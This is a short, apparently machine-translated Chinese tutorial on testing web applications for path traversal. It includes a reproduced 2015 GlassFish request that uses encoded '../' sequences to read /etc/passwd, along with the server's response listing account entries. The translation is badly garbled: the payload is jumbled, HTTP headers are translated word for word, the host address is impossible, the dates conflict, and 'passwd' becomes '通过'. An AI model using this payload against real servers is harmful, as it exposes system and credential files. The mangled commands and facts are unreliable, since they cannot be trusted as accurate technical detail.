路径遍历漏洞被编辑，以查看 Web 应用程序是否允许未经授权访问应被拒绝访问的文件或目录。 此类攻击使用传递给应用程序的参数，这些参数显示执行特定操作的资源的路径，例如读取、编写或显示目录内容。 因此，这可能导致冗余信息、配置文件的披露，甚至远程执行代码的能力。 路径遍历漏洞可能发生在软件或其功能的不同元素中。 测试期间无可跳过的位置，但需要特别注意：
- 负责从服务器下载文件的功能
- 负责加载应用程序设置的功能（模板、样式、界面语言），
- 负责将文件上传到服务器的功能。
对于路径遍历漏洞测试，您可以使用 HTTP代理，例如 伯普套件代理。 您可以使用它通过添加适当的字符串（如路径的参数）来操纵代表路径的参数。 "../"，旨在从当前处理的目录中"跳出来"。 下图中的示例：
路径遍历漏洞的另一个例子可能是在 GlassFish 应用程序服务器上发现的 2015 年 8 月 bug。 调用适当的请求（如下图所示）允许从磁盘中读取任何文件：
获取 /主题/%c0% ae%c0% ae% a0% c0% c0% ae% a0% c0% c0% ae%c0% ae% a0% a0% c0% c0% c0% ae% c0% c0% c0% c0% ae% ae% c0 %ae% c0% a0% c0% ae% a0% c0% c0% a0% c0% c0% ae% ae% ae% ae% ae % ae % c 0%afetc%c0%通过
HTTP/1.1
主机： 127.0.0.0.1：4848
接受： */*
接受语言： 连接
： 关闭
作为响应，服务器返回/等/通过文件的内容：
HTTP/1.1 200 OK
服务器：玻璃鱼服务器开源版 4.1
X 供电：Servlet/3.1 JSP/2.3 （玻璃鱼服务器开源版 4.1
Java/甲骨文公司/1.7）
最后修改时间： 2015年1月13日 星期二 10：00：00 GMT
日期： 星期二， 2015年1月10日 10：00：00 GMT
连接： 关闭
内容长度： 1087
根：！：16436：0：99999：7：：：
daemon：*：16273：0：99999：7：：
宾：：：16273：0：99999：7：：sys：*：16273：0：99999：7：：：
同步：：：16273：0：99999：7：：[...]
